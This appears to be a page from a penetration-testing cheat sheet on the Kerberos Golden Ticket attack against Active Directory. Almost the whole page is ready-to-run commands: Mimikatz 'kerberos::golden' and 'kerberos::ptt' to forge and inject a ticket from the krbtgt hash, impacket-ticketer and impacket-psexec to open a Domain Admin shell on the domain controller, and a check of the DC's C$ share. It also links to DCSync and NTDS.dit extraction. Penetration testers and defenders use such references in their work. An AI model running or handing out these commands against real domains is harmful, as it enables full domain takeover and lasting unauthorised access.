Golden Ticket

reference 9 commands 2 tools

Recon
Enumerate
Foothold
PrivEsc
Lateral
Post-Ex

needskrbtgt hash

yieldskrbtgt hashDomain Admin

toolsimpacketmimikatz

What it is

A forged TGT signed with the krbtgt account's hash. Valid for 10 years by default. Survives password changes on other accounts. Requires krbtgt hash from DCSync.

Step 1: Get krbtgt hash (from DCSync above)

krbtgt hash: aad3b435b51404eeaad3b435b51404ee:6f7c6d5b8f... (NT hash is second)

Step 2: Get Domain SID

impacket-getPac <DOMAIN>/<USER>:<PASS> -targetUser Administrator

Or from Windows: whoami /user → trim last RID (e.g., S-1-5-21-xxxx-xxxx-xxxx)

Step 3: Create Golden Ticket · Mimikatz (from any Windows machine)

kerberos::golden /user:Administrator /domain:<DOMAIN> \
  /sid:<DOMAIN-SID> /krbtgt:<KRBTGT-NTLM-HASH> \
  /id:500 /groups:512 /ticket:golden.kirbi

kerberos::ptt golden.kirbi     # Inject into current session

misc::cmd                      # Open cmd with DA privileges

Step 4: Create Golden Ticket · impacket (from Kali)

impacket-ticketer -nthash <KRBTGT-HASH> -domain-sid <SID> -domain <DOMAIN> Administrator

export KRB5CCNAME=Administrator.ccache

impacket-psexec <DOMAIN>/Administrator@<DC-HOSTNAME> -k -no-pass

Use it

klist          # Confirm ticket loaded

dir \\<DC-IP>\C$

connected

leads to

DCSync NTDS.dit Extraction (Offline)

follows

ACL / Misconfiguration Exploitation

via mimikatz

Pass-the-Ticket (PTT)Mimikatz Windows Loot & Proof